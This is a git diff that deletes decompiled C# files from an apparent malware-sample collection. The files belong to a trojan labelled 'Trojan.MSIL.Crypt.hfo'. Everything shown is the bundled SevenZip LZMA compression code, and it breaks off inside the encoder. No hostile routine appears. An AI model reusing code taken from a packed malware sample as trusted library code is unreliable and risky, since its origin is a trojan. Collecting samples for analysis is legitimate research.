index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 95d9fb46..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index 9fa6904b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/InWindow.cs deleted file mode 100644 index 52c88442..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/OutWindow.cs deleted file mode 100644 index 489716d8..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Base.cs deleted file mode 100644 index 3100325d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Decoder.cs deleted file mode 100644 index aa6d8a0a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Encoder.cs deleted file mode 100644 index b3dc8e5c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = 